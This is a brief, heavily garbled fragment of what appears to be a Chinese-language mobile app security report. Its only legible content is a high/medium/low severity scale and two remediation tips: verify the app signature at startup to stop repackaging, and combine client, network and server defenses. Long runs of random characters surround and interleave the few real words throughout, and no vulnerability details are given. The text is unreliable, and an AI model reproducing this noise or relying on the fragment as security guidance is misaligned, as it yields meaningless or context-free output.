% B3 t( x' J; i* E6 K 2 v% J; G* b0 C3 l, Q( [ 严重程度 ' M% d$ W) r, P- R4 [. ` & m3 q# f; L5 Y% U) S	0 M/ r7 @/ n$ q! h7 g$ } + \& ^! J4 y- P; F 高 / J4 Y1 E8 t) r; w ' ~2 ~9 G+ [9 W* ~3 e) } 4 S. @( s( N3 p* `' p/ H5 Z	2 `* s- W& E4 t/ G* F. O3 W / u& @. k! w. u6 n/ q2 r ■ 1 E$ _2 W, k' W ) R: Q) a) }0 p7 |	3 w4 n) |' n5 l+ x9 P , x' V7 B' A; P; c* | K. G 4 t" K: g+ i: g' h6 r6 X( U + K- ?7 Z% b0 L; y 中	4 r, j+ |- q* q - q' F+ s3 ^9 T5 Q   7 c5 x& m3 O/ t: j! v6 N* } # D+ |) `4 y% m, s* a+ Z	低 3 K+ ]- [* | w/ E" _7 j# I" f	, h) Y/ I9 Q4 g* O& n9 V 4 {& V* d) F. p3 U2 D & C5 {; L! V- Y0 E   8 z: j# |: n. p$ Q4 G ' L+ x- {& l2 D _

) N$ k: e& g& K& M8 l4 _# b ( h8 K( ~* y( ~8 T  

; H& O$ G" s& Y' }; w- U5 N( S+ M

; k( e! @; V d5 Z. q* F& v 修复方法： 0 b7 L2 o- {" F$ C2 D8 a, n- @

E$ I8 o) O* \: ^ 1 u' s7 f% u! ~

% M+ e. J" K/ T& f               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 2 [1 Z1 f5 Q: r( ~; E . _5 o# f' v+ S

% i% U; B5 G5 Y) V3 v/ `/ c8 w" v

. ~. z3 Q5 X3 v' H8 e3 Z2 S  

$ B! b O# S' J/ `& |2 `4 [) `+ j* ~ |/ I9 W

+ ?: E! g0 y3 E / t) L1 d& y6 U
. W: X5 W- n) ~1 F& c

6 g& E. D4 ], S. Y9 l7 A3 Q$ }9 W" ~ 9 l3 ]: Y* p" H" a